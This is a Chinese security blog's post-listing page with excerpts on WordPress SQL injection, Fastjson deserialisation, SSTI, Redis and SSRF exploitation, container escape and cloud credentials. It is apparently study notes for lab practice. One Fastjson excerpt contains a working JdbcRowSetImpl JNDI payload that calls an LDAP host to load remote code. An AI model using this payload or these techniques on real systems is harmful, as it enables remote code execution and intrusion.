自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(143)
  • 收藏
  • 关注

原创 WordPress 7.0.1 嵌套 Batch 路由错位实现 author_exclude SQL 注入(CVE-2026-60137)全程调试

一句话结论:直接向/wp/v2/posts提交author_exclude会被schema校验拦下;本漏洞通过双层嵌套batch制造路由下标错位,让请求校验阶段按categories放行、执行阶段交给posts的get_items拼接,最终把未清洗的author__not_in字符串拼进WP_Query的SQL,完成时间盲注。完整链路回顾外层/batch/v1请求的3个子请求里,[0]http://:解析失败产生WP_Error占位;

2026-08-29 00:50:05 731

原创 Fastjson 漏洞· 06 · 防御、审计与检测

为什么"用固定的目标类型解析"能从根上阻止 autoType 攻击?safeMode和"关闭 autoType"有什么区别?为什么官方推荐两者都考虑?审计时,除了 grepJSON.parse,还要看哪两样东西才能判断"是否真的可被利用"?日志里出现大量意味着什么?怎么处置?为什么说"WAF 不能替代修复"?

2026-10-09 22:46:26 280

原创 sql注入

SQL注入(SQLi)是一种网络安全漏洞,这可能包括属于其他用户的数据,或应用程序可以访问的其他任何数据。在某些情况下,攻击者可以升级SQL注入攻击,攻破底层服务器或其他后端基础设施。它还能使他们能够实施拒绝服务攻击。可以手动检测SQL注入,方法是对应用中的每个入口点进行系统化测试。OR 1=2另外,也可以使用快速且可靠地发现大多数SQL注入漏洞。大多数SQL注入漏洞都发生在查询的从句内。大多数有经验的测试人员都熟悉这种SQL注入方式。SELECT。

2026-10-08 21:08:08 177

原创 Fastjson 漏洞 · 05 · Fastjson2 与现代利用面

'{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local","autoCommit":true}' # 待解析的 payload。现代 JDK(17/21)的强封装、JNDI 默认加固,让"照搬老 payload 就能打"的情况大幅减少,但。也就是说,Fastjson 漏洞的价值不在"新",而在"存量面大 + 设计模型值得学"。

2026-10-02 22:41:16 406

原创 Fastjson 漏洞 · 04 · 绕过军备竞赛:1.2.25 → 1.2.83

这个绕过不依赖任何外部 gadget,只需要 fastjson 一个。

2026-10-02 22:38:01 369

原创 Fastjson 漏洞学习笔记 · 03 · 经典利用链:TemplatesImpl 与 JdbcRowSetImpl

需要受害机能连到攻击者的 LDAP/HTTP 服务。有没有不需要任何网络依赖的链?有,就是代表。

2026-10-01 23:53:09 397

原创 Fastjson 漏洞 · 02 · autoType 机制与 checkAutoType

Fastjson 的denyList(及后续基于 hashCode 的(触发 JNDI)(定义字节码)各类相关 gadget……问题在于:黑名单只能覆盖"已经公开的" gadget;只要换一个依赖库里的等价类(例如另一个能触发 JNDI 的工厂类),黑名单就失效;更糟的是,黑名单判断可能因为缓存、类名变形、expectClass 等被绕过。因此官方在 1.2.68 引入了safeMode,在 1.2.83 又做了 autoType 行为变更,最终建议迁移到 fastjson2。

2026-10-01 23:50:09 868

原创 Fastjson 漏洞 · 01 · 认识 Fastjson 与序列化基础

这类漏洞的特点不是"新",而是"面广、存量多、岗位高频"——渗透测试要打、代码审计要查、安全面试要问。安全与否,取决于"能不能随便加载任意类"以及"被加载的类会不会干坏事"。这不是魔术,而是"反序列化 + 自动类型识别(autoType)"这套设计的必然结果——本篇先把这条因果讲透,而不是一上来就背 payload。:把内存里的对象,变成一个能存进文件、能通过网络传输的"扁平"格式(JSON 文本、二进制流都算)。// 用字符串找到类。因为反射把"写死在代码里的类名"变成了"运行时可变的字符串"。

2026-09-29 23:38:16 330

原创 TLS + Web API 安全 · 06 · API 授权漏洞与 Top10

用一句话解释"只认证不授权"为什么会产生漏洞。答:服务端只确认了"用户已登录",却没有确认"这个对象/功能是否属于该用户",于是任何登录用户都能操作别人的数据或高权限功能——这就是越权。BOLA 和 BFLA 的区别是什么?各举一个例子。答BOLA是对象级(水平越权):改一个 id 就能读别人的数据,例如看到 bob 的信息。BFLA是功能级(垂直越权):普通用户能调用管理员接口,例如普通用户访问。批量赋值漏洞的代码长什么样?怎么防?答:典型代码是,把客户端提交的字段照单全收,于是能塞进。

2026-09-28 23:46:00 358

原创 TLS + Web API 安全 · 05 · JWT 与 OAuth2 攻防

JWT 的 Payload 能被别人解开吗?那它靠什么保证没被篡改?答能解开(Payload 只是 Base64URL 编码)。防篡改靠Signature:服务端用密钥对计算签名并比对,内容改了签名就不匹配。所以 JWT 里绝不能放敏感信息。alg=none攻击成功的前提是什么?怎么防?答:前提是服务端盲目跟随 token 里的alg,看到none就跳过验签。防御:服务端写死允许的算法(如只接受 RS256),并明确拒绝none。为什么 HS256 的弱密钥可以被"离线"爆破?答:HS256 用的是。

2026-09-28 09:07:38 389

原创 TLS + Web API 安全 · 04 · API 基础与认证机制

认证和授权有什么区别?只做认证会有什么漏洞?答:认证回答"你是谁",授权回答"你能做什么只做认证不授权,就会出现"任何登录用户都能访问不属于自己的数据或功能"——也就是越权401 和 403 分别代表什么?为什么必须分清?答401 = 未认证(没登录 / token 无效),403 = 已认证但无权限。分清才能定位问题:401 该去登录,403 说明身份没问题但权限不够;测试越权时,403 往往说明这里做了检查,是"对照组"。Base64 是加密吗?为什么 HTTP Basic 必须配合 HTTPS?

2026-09-26 23:28:36 288

原创 TLS + Web API 安全 · 03 · TLS 实战:证书、漏洞与抓包中间人

connect连哪、设置 SNI、-CAfile信任哪个 CA、-tls1_3强制版本、-brief精简输出、</dev/null不进入交互。重点看:因为我们在-CAfile里信任了自签根 CA,所以验证通过。如果去掉-CAfile会看到(真实回显):意思是"找不到签发者的证书、无法验证第一张证书"——因为客户端不认识我们那个自签 CA。的是干什么的?不加会怎样?答:它设置SNI,告诉服务器"我要访问哪个域名",服务器据此决定出示哪张证书。

2026-09-26 00:44:07 347

原创 TLS + Web API · 02 · 证书与 PKI 信任链

为什么只有加密和签名还不够,还需要证书?答:加密和签名解决不了"这把公钥到底属于谁"的问题。攻击者可以生成自己的密钥对,把自己的公钥冒充成网站的。证书的作用就是由可信第三方(CA)为"公钥 + 身份"的绑定背书,让客户端能确认公钥归属。信任链是怎么一层层验证的?为什么要中间 CA?答:从服务器证书的 Issuer 往上追,逐级用上一级的公钥验证下一级的签名,直到追到一个客户端内置信任的根 CA,整条链验通才可信。用中间 CA 是为了保护根 CA 私钥:根私钥平时离线保存、极少使用,降低泄露风险;

2026-09-24 23:46:01 340

原创 TLS + Web API 安全 · 01 · TLS 原理与握手

TLS 要解决哪三个问题?各用什么手段?答机密性(对称加密)、完整性(HMAC/签名)、身份认证(数字证书)。三者必须同时满足,少一个都会被攻击者利用。对称加密和非对称加密各自的优缺点是什么?TLS 为什么两个都用?答:对称加密快,适合加密大量数据,但密钥分发难(怎么安全地把同一把钥匙给对方);非对称加密解决了分发(公钥可公开),但慢。TLS 用非对称安全地协商出一把对称密钥,之后所有数据用对称加密——兼得安全与速度。哈希和 HMAC 的区别是什么?为什么哈希本身不能防篡改?答:哈希不需要密钥。

2026-09-23 22:36:22 249

原创 云安全 · 09 · 从外部打点到容器逃逸实战

根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。第 03 篇讲逃逸手法时,为了聚焦,用的是先 root SSH 上靶机、再进容器。这。。全程攻击者没有登录过宿主机。

2026-09-22 23:20:41 289

原创 云安全 · 08 · 云安全防护与应急响应

核心是“

2026-09-21 22:57:56 336

原创 云安全学习笔记 · 07 · 对象存储与云服务配置错误

云上安全事故里,占绝大多数。对象存储(OSS/S3)因为“一个勾选就全网可见”,是最经典、最高频的配置错误。这一篇用一个真实的 S3 兼容存储(MinIO)来复现。

2026-09-20 19:46:27 311

原创 云安全 · 06 · 云凭证 AK/SK 与元数据服务

云厂商在每台云主机内部提供一个特殊 IP 的 HTTP 服务,用于让实例获取自己的信息(实例 ID、IP、以及绑定到实例的临时凭证这个服务叫。云厂商元数据地址AWS阿里云(经典/VPC)(公网经典地址也是腾讯云华为云。

2026-09-19 20:50:37 391

原创 云安全 · 05 · etcd 安全:未授权访问与数据泄露

etcd 是 Kubernetes 的“数据库”,集群里所有对象(包括 Secret)都存在这里。

2026-09-17 23:19:54 455

原创 云安全 · 04 · Kubernetes 安全基础

容器编排是云原生的核心,Kubernetes(K8s)是事实标准。这一篇讲清楚 K8s 的架构、认证鉴权模型,以及最常见的暴露面和提权路径。

2026-09-17 23:16:28 592

原创 云安全 · 03 · Docker 逃逸实战

容器逃逸:容器内进程突破隔离,访问/控制宿主机或其他容器。类型成因举例配置型逃逸启动参数给了过高权限、挂载--pid=host内核型逃逸内核/内核子系统漏洞运行时型逃逸容器运行时漏洞本篇重点是可稳定复现的“配置型逃逸”,因为真实事故里它最常见。审计容器启动参数:任何、挂载都是高危,应告警。监控逃逸行为:容器内出现nsenter、写mount块设备等。镜像与运行时扫描:Trivy、Falco(运行时行为检测)。云审计日志。

2026-09-16 23:58:48 350

原创 云安全 · 02 · 容器与 Docker 安全基础

Namespace 管“看得见看不见”,Cgroup 管“能用多少”:CPU、内存、磁盘 IO、进程数上限。容器镜像是一层层叠加的只读层,最上面加一个可写层。容器运行时的写操作都落在可写层,删掉容器可写层就没了。namespace 管“看不见”,cgroup 管“用多少”,UnionFS 管“文件从哪来”。通常只看到容器内自己的几个进程(因为 PID namespace 隔离)。:使用的镜像,Alpine 是一个只有几 MB 的极小 Linux。子目录列出该进程所属的各种 namespace。

2026-09-15 23:06:21 497

原创 Java 模板注入(FreeMarker) · 05 · 防御与代码审计

那就必须把。

2026-09-15 20:11:40 435

原创 云安全· 01 · 云计算与云安全基础

美国国家标准与技术研究院(NIST)给出的定义最权威,翻译成人话:云计算是一种按需通过网络可配置地获取计算资源(网络、服务器、存储、应用、服务)的模式,这些资源可以快速供给和释放,管理成本极低。按需、通过网络、资源共享、快速弹性。

2026-09-14 21:53:39 406

原创 Java 模板注入(FreeMarker)· 04 · 利用与绕过:payload 全集

如果目标 classpath 里存在实现了且行为危险的类(例如某些模板插件、运维工具),?new也能把它 new 出来。所以只拉黑"已知三类",对自定义危险类无能为力(见第 7 节)。

2026-09-14 21:06:08 439

原创 Java 模板注入(FreeMarker) · 03 · SSTI 漏洞根因与数据模型

FreeMarker 的模板不是"纯文本",而是一门:能赋值、循环、调用 Java 方法、实例化 Java 类。所以"用户输入进模板" ≈ "用户获得了一个受限的 Java 执行环境";而由于的存在,这个环境。因为模板是在渲染的。"注入"指用户输入被注入进了模板代码里。与之对应,前端模板(Vue/React 等)在执行,那属于 XSS 范畴,不是 SSTI。因为"被渲染"是正常的、每天都在发生的事:数据模型里的数据本来就会被渲染进页面。危险的是输入(进入模板文本或表达式)。

2026-09-14 19:07:49 335

原创 Java 模板注入(FreeMarker) · 02 · 模板引擎与 FreeMarker 语法

模板引擎到底是干什么的?为什么需要它?FreeMarker 的模板语言(FTL)长什么样、怎么写?哪些语法是"危险入口"(?new?interpret?eval?api。

2026-09-12 22:06:17 279

原创 Java 模板注入(FreeMarker) · 01 · Java 基础

很多安全框架会做"字符串黑名单"(比如禁止出现Runtimeexec反射可以用字符串拼接绕开静态检测:或者用类加载器动态加载:Class<?那防护不是没法做了?不是。根本不让用户输入进模板(治本);在引擎层限制能调用哪些类/哪些方法(如,见 05 篇)。这两层都不依赖"猜 payload 长什么样",所以反射也绕不过去。

2026-09-11 15:30:22 339

原创 PHP Session 反序列化(3): session.upload_progress 与完整漏洞链

答案:能 —— 用 PHP 自带的机制当"写点"。此外本篇会给出两条实战主链路:①upload_progress 注入对象(配合 handler 错位);②upload_progress 写马 + LFI getshell。不同 PHP 版本与配置下行为不同,做实验前先核对环境。

2026-09-10 10:45:43 385

原创 PHP Session 反序列化:防御加固、审计套路与总结

看一个请求/一个页面 → handler 谁写的?谁读的?│ 不一致▼能把可控字符串(含 | )弄进 session 文件吗?业务写点?/ LFI 触发?│ 能▼文件里第一个 | 之后的字节 = 你的对象序列化▼php_var_unserialize 创建对象 → 魔术方法 → POP 链 → sink(RCE)

2026-09-10 00:23:15 329

原创 PHP Session 反序列化(2):漏洞根因 —— 序列化处理器错位与对象注入

当一个 session 文件是格式(整包数组)写出的,却被php格式(按切分)去解析时,解码器会把文件里第一个出现的(这个完全可能是攻击者写进字符串数据里的)当作"键值分隔符",于是之后的字节被当成一段独立的序列化数据去反序列化 —— 只要这里放一个,就会创建任意对象,触发魔术方法,走入 POP 链。解析格式不匹配 → 本应是"字符串数据"的字节,被重新解释成"对象代码"。格式边界错位。

2026-09-09 11:59:25 306

原创 PHP Session 反序列化(1):Session 是什么 & PHP 的 Session 生命周期&Session 的存储与三种序列化处理器

HTTP 的每个请求之间互相不认识。你请求了index.php拿到了登录页,下一个请求user.php时,服务器。没有状态带来的问题很直接:登录一次,换个页面又要登录;购物车加了一个商品,下一页就没了;任何"记住我是谁 / 记住我干了什么"都做不到。于是需要一种机制,让服务器能在多个请求之间。这就是 Cookie 与 Session 存在的意义。类比:HTTP 像去银行办事,每次都"忘掉你是谁"。Cookie 像你主动出示一张写着编号的小票,Session 像银行柜台后面那个写着你资料的档案柜。

2026-09-09 00:42:06 388

原创 MySQL 提权学习笔记 01:提权地基——权限模型、进场姿势与信息收集

这套决策树的前提是"信息收集没偷懒"。

2026-09-08 17:18:47 429

原创 redis防御加固与安全基线

攻击 = 允许被网络访问 + 允许执行危险操作 + 操作落在危险位置。:不让他连得上(bind、防火墙、不要裸奔公网)。:就算连上,也要密码 / ACL 挡住危险命令。:就算命令执行了,低权限用户 + 最小目录写权限,让他写不了能被执行的文件。

2026-09-08 15:32:17 371

原创 SSRF 打内网 Redis:gopher 原理与实操

RESP(REdis Serialization Protocol)是 Redis 客户端和服务器通信的协议,本质是基于文本 +\r\n换行。我们只需要掌握"怎么把命令编码成字节"——因为 gopher 里我们要亲手写这些字节。

2026-09-07 10:20:34 492

原创 Redis未授权访问与四种 getshell 路径(原理 → 实操,因果不断层)

"未授权访问" =不需要账号密码就能连上并执行命令。完全没设密码redis-cli -h 目标 -p 6379直接进。设了弱密码redis123456foobared(默认示例密码)、root、空密码)。路径依赖核心机制主要前置适用版本成功率备注crontabCONFIG SET + RDB 落盘root + cron 目录可写 + 知道路径老系统常见中低破坏性 FLUSHALLSSH 公钥同上Redis 用户可写 ~/.ssh + sshd 允许通用中。

2026-09-07 00:42:49 460

原创 SSRF 从入门到实战(下篇):gopher 打 Redis 实现 RCE

raw层次内容关键词所在篇概念让服务器代理访问内网/本机服务端请求伪造上篇危害探测内网 → 读敏感信息 → 打内网服务 → 拿云凭据元数据 169.254.169.254上篇基础利用、端口扫描、猜路径无过滤 SSRF、探测上篇协议gopher 投喂任意字节上篇 / 下篇绕过十六进制/十进制/八进制 IP、302 跳转、DNS 重绑定字符串匹配 vs 数字解析中篇进阶利用gopher 打无密码 Redis 写 webshellRESP 协议、双重编码下篇。

2026-09-06 21:43:37 370

原创 redis三大机制:配置、持久化、主从复制(getshell 原理地基)

因为要序列化所有数据类型 + 做各种压缩优化。对人类不可读,但对 Redis 自己读起来快。

2026-09-06 10:27:42 237

原创 Redis 基础速成:概念、命令与数据类型

一句话定义:Redis 是一个跑在内存里的、以"键值对"为基本单位的数据库。拆开看这句话的每个词,每个词都是一个知识点:数据在内存,没有磁盘寻道。命令执行基本是单线程的(IO 多路复用),避免了锁竞争;网络 IO 用 epoll 这类机制同时等很多连接。设计极简,命令都是 O(1) 或 O(log N) 级别。Redis 里所有的数据都在一个大的命名空间(默认库 db0,最多 16 个库 db0~db15)里,组织方式是:一个 key → 一个 valuekey 是字符串(注意:是二进制安全的字符串,什么内

2026-09-05 22:15:24 391

原创 SSRF 从入门到实战(中篇):过滤绕过(IP 马甲与 302 跳转)

接上篇。上篇我们把无过滤的 SSRF 跑通了,但真实世界没这么"裸"——开发者会加过滤。

2026-09-05 20:53:16 405

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除